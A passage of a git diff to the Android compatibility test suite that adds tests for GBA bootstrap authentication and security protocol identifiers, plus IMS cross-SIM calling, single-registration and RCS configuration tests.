+ for (int r = TelephonyManager.GBA_FAILURE_REASON_UNKNOWN;
+ r <= TelephonyManager.GBA_FAILURE_REASON_SECURITY_PROTOCOL_NOT_SUPPORTED; r++) {
+ sConfig.setConfig(false, new byte[16], BTID, r);
+ runGbaFailCase(r, android.Manifest.permission.MODIFY_PHONE_STATE);
+ }
+ }
+
+ private void runGbaFailCase(int r, String permission) {
+ final AtomicBoolean isSuccess = new AtomicBoolean(false);
+ final AtomicBoolean isFail = new AtomicBoolean(false);
+ TelephonyManager.BootstrapAuthenticationCallback cb = new
+ TelephonyManager.BootstrapAuthenticationCallback() {
+ @Override
+ public void onKeysAvailable(byte[] gbaKey, String btId) {
+ synchronized (isFail) {
+ isSuccess.set(true);
+ isFail.notify();
+ }
+ }
+
+ @Override
+ public void onAuthenticationFailure(int reason) {
+ assertEquals(reason, r);
+ synchronized (isFail) {
+ isFail.set(true);
+ isFail.notify();
+ }
+ }
+ };
+ UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+ builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+ (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+ Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb), permission);
+ waitForMs(isFail, REQ_TIMEOUT);
+
+ assertTrue(isFail.get());
+ assertFalse(isSuccess.get());
+ }
+
+ @Test
+ public void testServiceReleaseDefault() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ int ss = sConfig.getServiceState();
+ boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+ || ss == TestGbaConfig.STATE_REMOVED
+ || ss == TestGbaConfig.STATE_UNBOUND);
+ assertTrue(isExpected);
+ sConfig.setConfig(false, new byte[16], BTID,
+ TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+ waitForMs(sConfig, 500);
+
+ assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+ }
+
+ @Test
+ public void testServiceReleaseDuration() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ int ss = sConfig.getServiceState();
+ boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+ || ss == TestGbaConfig.STATE_REMOVED
+ || ss == TestGbaConfig.STATE_UNBOUND);
+ assertTrue(isExpected);
+ sConfig.setConfig(false, new byte[16], BTID,
+ TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+ assertTrue(setReleaseTime(RELEASE_TEST_MS));
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+
+ waitForMs(sConfig, 500);
+ assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+
+ waitForMs(sConfig, RELEASE_TEST_MS);
+ assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+ }
+
+ @Test
+ public void testServiceNoRelease() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ int ss = sConfig.getServiceState();
+ boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+ || ss == TestGbaConfig.STATE_REMOVED
+ || ss == TestGbaConfig.STATE_UNBOUND);
+ assertTrue(isExpected);
+ sConfig.setConfig(false, new byte[16], BTID,
+ TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+ assertTrue(setReleaseTime(RELEASE_NEVER));
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+ waitForMs(sConfig, 2 * RELEASE_TEST_MS);
+
+ assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+ }
+
+ public static void waitForMs(Object obj, long ms) {
+ synchronized (obj) {
+ try {
+ obj.wait(ms);
+ } catch (InterruptedException e) {
+ Log.d(TAG, "InterruptedException while waiting: " + e);
+ }
+ }
+ }
+
+ private static boolean setService(String packageName) throws Exception {
+ String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+ COMMAND_UPDATE_PACKAGE + packageName);
+ return "true".equals(result);
+ }
+
+ private static boolean setReleaseTime(int interval) throws Exception {
+ String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+ COMMAND_UPDATE_RELEASE + interval);
+ return "true".equals(result);
+ }
+
+ private static boolean isFeatureSupported() {
+ if (!InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY)) {
+ return false;
+ }
+ int[] activeSubs = InstrumentationRegistry.getContext().getSystemService(
+ SubscriptionManager.class).getActiveSubscriptionIdList();
+ if (activeSubs.length == 0) {
+ return false;
+ }
+ sSubId = activeSubs[0];
+ return true;
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
new file mode 100644
index 0000000..33d1a83
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+final class TestGbaConfig {
+
+ static final int STATE_UNKNOWN = 0;
+ static final int STATE_CREATED = 1;
+ static final int STATE_BOUND = 2;
+ static final int STATE_UNBOUND = 3;
+ static final int STATE_REMOVED = 4;
+
+ private boolean mIsAuthSuccess;
+ private byte[] mGbaKey;
+ private String mBTid;
+ private int mFailReason;
+ private int mServiceState;
+
+ private static TestGbaConfig sInstance;
+
+ private TestGbaConfig() {
+ }
+
+ static TestGbaConfig getInstance() {
+ if (sInstance == null) {
+ sInstance = new TestGbaConfig();
+ }
+ return sInstance;
+ }
+
+ void setConfig(boolean success, byte[] key, String id, int reason) {
+ synchronized (this) {
+ mIsAuthSuccess = success;
+ mGbaKey = key;
+ mBTid = id;
+ mFailReason = reason;
+ }
+ }
+
+ boolean isAuthSuccess() {
+ synchronized (this) {
+ return mIsAuthSuccess;
+ }
+ }
+
+ byte[] getGbaKey() {
+ synchronized (this) {
+ return mGbaKey;
+ }
+ }
+
+ String getBTid() {
+ synchronized (this) {
+ return mBTid;
+ }
+ }
+
+ int getFailReason() {
+ synchronized (this) {
+ return mFailReason;
+ }
+ }
+
+ void setServiceState(int state) {
+ synchronized (this) {
+ mServiceState = state;
+ this.notify();
+ }
+ }
+
+ int getServiceState() {
+ synchronized (this) {
+ return mServiceState;
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
new file mode 100644
index 0000000..702f757
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import android.annotation.NonNull;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.IBinder;
+import android.telephony.gba.GbaService;
+import android.util.Log;
+
+public class TestGbaService extends GbaService {
+
+ private static final String TAG = "TestGbaService";
+
+ private TestGbaConfig mConfig;
+
+ @Override
+ public void onCreate() {
+ Log.i(TAG, "Service created");
+ mConfig = TestGbaConfig.getInstance();
+ mConfig.setServiceState(TestGbaConfig.STATE_CREATED);
+ }
+
+ @Override
+ public void onAuthenticationRequest(int subId, int token, int appType,
+ @NonNull Uri nafUrl, @NonNull byte[] securityProtocol, boolean forceBootStrapping) {
+ boolean isSuccess = mConfig.isAuthSuccess();
+ int reason = mConfig.getFailReason();
+ byte[] key = mConfig.getGbaKey();
+ String btid = mConfig.getBTid();
+
+ if (isSuccess) {
+ reportKeysAvailable(token, key, btid);
+ } else {
+ reportAuthenticationFailure(token, reason);
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ Log.d(TAG, "onBind intent:" + intent);
+ mConfig.setServiceState(TestGbaConfig.STATE_BOUND);
+ return super.onBind(intent);
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ Log.d(TAG, "onUnbind intent:" + intent);
+ mConfig.setServiceState(TestGbaConfig.STATE_UNBOUND);
+ return super.onUnbind(intent);
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(TAG, "onDestroy!");
+ mConfig.setServiceState(TestGbaConfig.STATE_REMOVED);
+ super.onDestroy();
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
new file mode 100644
index 0000000..ae1b0fd
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.gba.TlsParams;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Random;
+
+@RunWith(AndroidJUnit4.class)
+public final class UaSecurityProtocolIdentifierTest {
+ private static final String TAG = "UaSecurityProtocolIdentifierTest";
+ private static final int PROTO_SIZE = 5;
+ private static final byte[] PROTO_DEFAULT = {0x00, 0x00, 0x00, 0x00, 0x00};
+ private static final int[] PROTO_3GPP_PLAIN_ID = {
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SUBSCRIBER_CERTIFICATE,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_MBMS,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_DIGEST_AUTHENTICATION,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SIP_BASED_MBMS,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERIC_PUSH_LAYER,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_IMS_MEDIA_PLANE,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERATION_TMPI};
+ private static final byte[][] PROTO_3GPP_PLAIN = {
+ {0x01, 0x00, 0x00, 0x00, 0x00},
+ {0x01, 0x00, 0x00, 0x00, 0x01},
+ {0x01, 0x00, 0x00, 0x00, 0x02},
+ {0x01, 0x00, 0x00, 0x00, 0x03},
+ {0x01, 0x00, 0x00, 0x00, 0x04},
+ {0x01, 0x00, 0x00, 0x00, 0x05},
+ {0x01, 0x00, 0x00, 0x00, 0x06},
+ {0x01, 0x00, 0x00, 0x01, 0x00}};
+ private static final int[] PROTO_3GPP_TLS_ID = {
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_DEFAULT,
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_BROWSER};
+ private static final byte[][] PROTO_3GPP_TLS = {
+ {0x01, 0x00, 0x01, 0x00, 0x00},
+ {0x01, 0x00, 0x02, 0x00, 0x00}};
+
+ private static final int[] TLS_CS_ID_SUPPORTED = {
+ 0x0000, 0x0001, 0x0002, 0x0004, 0x0005, 0x000A, 0x000D, 0x0010, 0x0013, 0x0016, 0x0018,
+ 0x001B, 0x002F, 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x0037, 0x0038,
+ 0x0039, 0x003A, 0x003B, 0x003C, 0x003D, 0x003E, 0x003F, 0x0040, 0x0067, 0x0068, 0x0069,
+ 0x006A, 0x006B, 0x006C, 0x006D, 0x009E, 0x009F, 0x00AA, 0x00AB, 0x1301, 0x1302, 0x1303,
+ 0x1304, 0xC02B, 0xC02C, 0xC02F, 0xC030, 0xC09E, 0xC09F, 0xC0A6, 0xC0A7, 0xCCA8, 0xCCA9,
+ 0xCCAA, 0xCCAC, 0xCCAD, 0xD001, 0xD002, 0xD005};
+
+ @Test
+ public void testDefaultId() {
+ UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+ UaSecurityProtocolIdentifier sp = builder.build();
+ assertNotNull(sp);
+ assertEquals(UaSecurityProtocolIdentifier.ORG_NONE, sp.getOrg());
+ assertArrayEquals(sp.toByteArray(), PROTO_DEFAULT);
+ }
+
+ @Test
+ public void testValid3gppId() {
+ for (int i = 0; i < PROTO_3GPP_PLAIN_ID.length; i++) {
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ PROTO_3GPP_PLAIN_ID[i], null, false);
+ assertNotNull(sp);
+ assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+ assertEquals(PROTO_3GPP_PLAIN_ID[i], sp.getProtocol());
+ assertEquals(0, sp.getTlsCipherSuite());
+ assertArrayEquals(sp.toByteArray(), PROTO_3GPP_PLAIN[i]);
+ }
+ }
+
+ @Test
+ public void testValid3gppIdWithTls() {
+ for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+ for (int j = 0; j < TLS_CS_ID_SUPPORTED.length; j++) {
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ PROTO_3GPP_TLS_ID[i], TLS_CS_ID_SUPPORTED[j], false);
+ assertNotNull(sp);
+ assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+ assertEquals(PROTO_3GPP_TLS_ID[i], sp.getProtocol());
+ assertEquals(TLS_CS_ID_SUPPORTED[j], sp.getTlsCipherSuite());
+ byte[] targetData = new byte[PROTO_SIZE];
+ ByteBuffer buf = ByteBuffer.wrap(targetData);
+ buf.put(PROTO_3GPP_TLS[i]);
+ buf.putShort(PROTO_SIZE - 2, (short) TLS_CS_ID_SUPPORTED[j]);
+ assertArrayEquals(targetData, sp.toByteArray());
+ }
+ }
+ }
+
+ @Test
+ public void testInvalidId() {
+ Random rand = new Random();
+ HashSet<Integer> validIds = new HashSet<>();
+ for (int id : PROTO_3GPP_PLAIN_ID) {
+ validIds.add(id);
+ }
+ for (int id : PROTO_3GPP_TLS_ID) {
+ validIds.add(id);
+ }
+ for (int i = 0; i < 200; i++) {
+ int r = rand.nextInt();
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ r, TlsParams.TLS_NULL_WITH_NULL_NULL, !validIds.contains(r));
+ }
+ }
+
+ @Test
+ public void testInvalid3gppIdWithTls() {
+ Random rand = new Random();
+ for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+ for (int j = 0; j < 200; j++) {
+ int r = rand.nextInt(Integer.MAX_VALUE);
+ int index = Arrays.binarySearch(TLS_CS_ID_SUPPORTED, r);
+ boolean isFailExpected = index < 0;
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ PROTO_3GPP_TLS_ID[i], r, isFailExpected);
+ }
+ }
+ }
+
+ @Test
+ public void testParcelUnparcel() {
+ UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+ PROTO_3GPP_TLS_ID[0], TLS_CS_ID_SUPPORTED[0], false);
+ Parcel parcel = Parcel.obtain();
+ sp.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ UaSecurityProtocolIdentifier sp2 =
+ UaSecurityProtocolIdentifier.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+ assertTrue(sp.equals(sp2));
+ }
+
+ @Test
+ public void testIsTlsCipherSuiteSupported() {
+ Random rand = new Random();
+
+ for (int i = 0; i < TLS_CS_ID_SUPPORTED.length; i++) {
+ assertTrue(TlsParams.isTlsCipherSuiteSupported(TLS_CS_ID_SUPPORTED[i]));
+ }
+
+ for (int i = 0; i < 100; i++) {
+ int val = rand.nextInt();
+ if (Arrays.binarySearch(TLS_CS_ID_SUPPORTED, val) < 0) {
+ assertFalse(TlsParams.isTlsCipherSuiteSupported(val));
+ }
+ }
+ }
+
+ private UaSecurityProtocolIdentifier testCreate3GppSpId(
+ Integer id, Integer cs, boolean nullExpected) {
+ boolean isFail = false;
+ UaSecurityProtocolIdentifier sp = null;
+ UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+ builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP);
+ try {
+ if (id != null) {
+ builder.setProtocol(id);
+ }
+ if (cs != null) {
+ builder.setTlsCipherSuite(cs);
+ }
+ sp = builder.build();
+ } catch (IllegalArgumentException e) {
+ }
+ if (nullExpected) {
+ assertNull(sp);
+ } else {
+ assertNotNull(sp);
+ }
+ return sp;
+ }
+
+ private String getRandomString(Random rand) {
+ int size = rand.nextInt(64);
+ byte[] arr = new byte[size];
+ rand.nextBytes(arr);
+ return new String(arr);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
index 1bd5c35..46980a2 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
@@ -350,6 +350,10 @@
@Test
public void testCallComposerExtras() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
ImsCallProfile data = new ImsCallProfile();
// EXTRA_PRIORITY
@@ -402,8 +406,10 @@
Location locationFromData = data.getCallExtraParcelable(ImsCallProfile.EXTRA_LOCATION);
Location locationFromUnparceledData = unparceledData.getCallExtraParcelable(
ImsCallProfile.EXTRA_LOCATION);
- assertEquals("unparceled data for EXTRA_LOCATION is not valid!",
- locationFromData, locationFromUnparceledData);
+ assertEquals("unparceled data for EXTRA_LOCATION latitude is not valid!",
+ locationFromData.getLatitude(), locationFromUnparceledData.getLatitude(), 0);
+ assertEquals("unparceled data for EXTRA_LOCATION Longitude is not valid!",
+ locationFromData.getLongitude(), locationFromUnparceledData.getLongitude(), 0);
assertEquals("unparceled data for EXTRA_PICTURE_URL is not valid!",
data.getCallExtra(ImsCallProfile.EXTRA_PICTURE_URL),
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index a965d7b..62f4fc8 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -261,6 +261,51 @@
}
/**
+ * Set the cross SIM setting and ensure it is queried successfully.
+ * Also ensure the ContentObserver is triggered properly.
+ */
+ @Test
+ public void testCrossSIMSetting() throws Exception {
+ PersistableBundle bundle = new PersistableBundle();
+ // Do not worry about provisioning for this test
+ bundle.putBoolean(KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL, false);
+ bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONING_REQUIRED_BOOL, false);
+ overrideCarrierConfig(bundle);
+ // Register Observer
+ Uri callingUri = Uri.withAppendedPath(
+ SubscriptionManager.CROSS_SIM_ENABLED_CONTENT_URI, "" + sTestSub);
+ CountDownLatch contentObservedLatch = new CountDownLatch(1);
+ ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+ ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+ ImsMmTelManager mMmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+ boolean isEnabled = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+ mMmTelManager, ImsMmTelManager::isCrossSimCallingEnabledByUser, ImsException.class,
+ "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setCrossSimCallingEnabled(!isEnabled), ImsException.class,
+ "android.permission.MODIFY_PHONE_STATE");
+
+ waitForLatch(contentObservedLatch, observer);
+ boolean isEnabledResult = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+ mMmTelManager,
+ ImsMmTelManager::isCrossSimCallingEnabledByUser,
+ ImsException.class,
+ "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ assertEquals("isCrossSimCallingEnabledByUser did not match"
+ + "value set by setCrossSimCallingEnabled",
+ !isEnabled, isEnabledResult);
+
+ // Set back to default
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setCrossSimCallingEnabled(isEnabled),
+ ImsException.class,
+ "android.permission.MODIFY_PHONE_STATE");
+ overrideCarrierConfig(null);
+ }
+
+ /**
* Set the VoWiFi roaming setting and ensure it is queried successfully. Also ensure the
* ContentObserver is triggered properly.
*/
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
index 6c207c4..1e12777 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
@@ -63,6 +63,10 @@
private static final String COMMAND_FEATURE_IDENTIFIER = "-f ";
private static final String COMMAND_ENABLE_IMS = "ims enable ";
private static final String COMMAND_DISABLE_IMS = "ims disable ";
+ private static final String COMMAND_SET_DEVICE_SINGLE_REGISTRATION_ENABLED =
+ "src set-device-enabled ";
+ private static final String COMMAND_GET_DEVICE_SINGLE_REGISTRATION_ENABLED =
+ "src get-device-enabled";
private class TestCarrierServiceConnection implements ServiceConnection {
@@ -558,6 +562,16 @@
+ COMMAND_SLOT_IDENTIFIER + slot);
}
+ void setDeviceSingleRegistrationEnabled(Boolean enabled) throws Exception {
+ TelephonyUtils.executeShellCommand(mInstrumentation, COMMAND_BASE
+ + COMMAND_SET_DEVICE_SINGLE_REGISTRATION_ENABLED + enabled);
+ }
+
+ boolean getDeviceSingleRegistrationEnabled() throws Exception {
+ return Boolean.parseBoolean(TelephonyUtils.executeShellCommand(mInstrumentation,
+ COMMAND_BASE + COMMAND_GET_DEVICE_SINGLE_REGISTRATION_ENABLED));
+ }
+
TestImsService getCarrierService() {
return mCarrierService;
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 0ad0a81..2a7595d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -46,11 +46,13 @@
import android.telephony.ims.ImsRcsManager;
import android.telephony.ims.ImsReasonInfo;
import android.telephony.ims.ProvisioningManager;
+import android.telephony.ims.RcsClientConfiguration;
import android.telephony.ims.RcsUceAdapter;
import android.telephony.ims.RegistrationManager;
import android.telephony.ims.feature.ImsFeature;
import android.telephony.ims.feature.MmTelFeature;
import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
import android.telephony.ims.stub.ImsConfigImplBase;
import android.telephony.ims.stub.ImsFeatureConfiguration;
import android.telephony.ims.stub.ImsRegistrationImplBase;
@@ -71,6 +73,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
@@ -103,13 +106,31 @@
private static final int TEST_CONFIG_KEY = 1000;
private static final int TEST_CONFIG_VALUE_INT = 0xDEADBEEF;
private static final String TEST_CONFIG_VALUE_STRING = "DEADBEEF";
- private static final String TEST_AUTOCONFIG_CONTENT = "<?xml version=\"1.0\"?>\n"
- + "<wap-provisioningdoc version=\"1.1\">\n"
- + "<characteristic type=\"VERS\">\n"
- + "<parm name=\"version\" value=\"1\"/>\n"
- + "<parm name=\"validity\" value=\"1728000\"/>\n"
- + "</characteristic>"
- + "</wap-provisioningdoc>";
+
+ private static final String TEST_RCS_CONFIG = "<RCSConfig>\n"
+ + "\t<rcsVolteSingleRegistration>1</rcsVolteSingleRegistration>\n"
+ + "\t<SERVICES>\n"
+ + "\t\t<SupportedRCSProfileVersions>UP_2.0</SupportedRCSProfileVersions>\n"
+ + "\t\t<ChatAuth>1</ChatAuth>\n"
+ + "\t\t<GroupChatAuth>1</GroupChatAuth>\n"
+ + "\t\t<ftAuth>1</ftAuth>\n"
+ + "\t\t<standaloneMsgAuth>1</standaloneMsgAuth>\n"
+ + "\t\t<geolocPushAuth>1<geolocPushAuth>\n"
+ + "\t\t<Ext>\n"
+ + "\t\t\t<DataOff>\n"
+ + "\t\t\t\t<rcsMessagingDataOff>1</rcsMessagingDataOff>\n"
+ + "\t\t\t\t<fileTransferDataOff>1</fileTransferDataOff>\n"
+ + "\t\t\t\t<mmsDataOff>1</mmsDataOff>\n"
+ + "\t\t\t\t<syncDataOff>1</syncDataOff>\n"
+ + "\t\t\t</DataOff>\n"
+ + "\t\t</Ext>\n"
+ + "\t</SERVICES>\n"
+ + "</RCSConfig>";
+ private static final int RCS_CONFIG_CB_UNKNOWN = Integer.MAX_VALUE;
+ private static final int RCS_CONFIG_CB_CHANGED = 0;
+ private static final int RCS_CONFIG_CB_ERROR = 1;
+ private static final int RCS_CONFIG_CB_RESET = 2;
+ private static final int RCS_CONFIG_CB_DELETE = 3;
private static CarrierConfigReceiver sReceiver;
@@ -140,6 +161,12 @@
}
}
+ private static class RcsProvisioningCallbackParams {
+ byte[] mConfig;
+ Integer mErrorCode;
+ String mErrorString;
+ }
+
@BeforeClass
public static void beforeAllTests() throws Exception {
if (!ImsUtils.shouldTestImsService()) {
@@ -211,6 +238,8 @@
fail("Invalid state found: the test subscription in slot " + sTestSlot + " changed "
+ "during this test.");
}
+
+ TestAcsClient.getInstance().reset();
}
@After
@@ -831,6 +860,164 @@
}
}
+ @Test
+ public void testRcsDeviceCapabilitiesPublish() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ // Trigger carrier config changed
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+ overrideCarrierConfig(bundle);
+
+ ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+ if (imsManager == null) {
+ fail("Cannot find IMS service");
+ }
+
+ ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+ RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+ // Connect to device ImsService with MmTel feature and RCS feature
+ triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+ TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+ .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+ // Register the callback to listen to the publish state changed
+ LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+ RcsUceAdapter.OnPublishStateChangedListener publishStateCallback =
+ new RcsUceAdapter.OnPublishStateChangedListener() {
+ public void onPublishStateChange(int state) {
+ publishStateQueue.offer(state);
+ }
+ };
+
+ // Another publish register callback to verify the API
+ // RcsUceAdapter#removeOnPublishStateChangedListener
+ LinkedBlockingQueue<Integer> unregisteredPublishStateQueue = new LinkedBlockingQueue<>();
+ RcsUceAdapter.OnPublishStateChangedListener unregisteredPublishStateCallback =
+ new RcsUceAdapter.OnPublishStateChangedListener() {
+ public void onPublishStateChange(int state) {
+ unregisteredPublishStateQueue.offer(state);
+ }
+ };
+
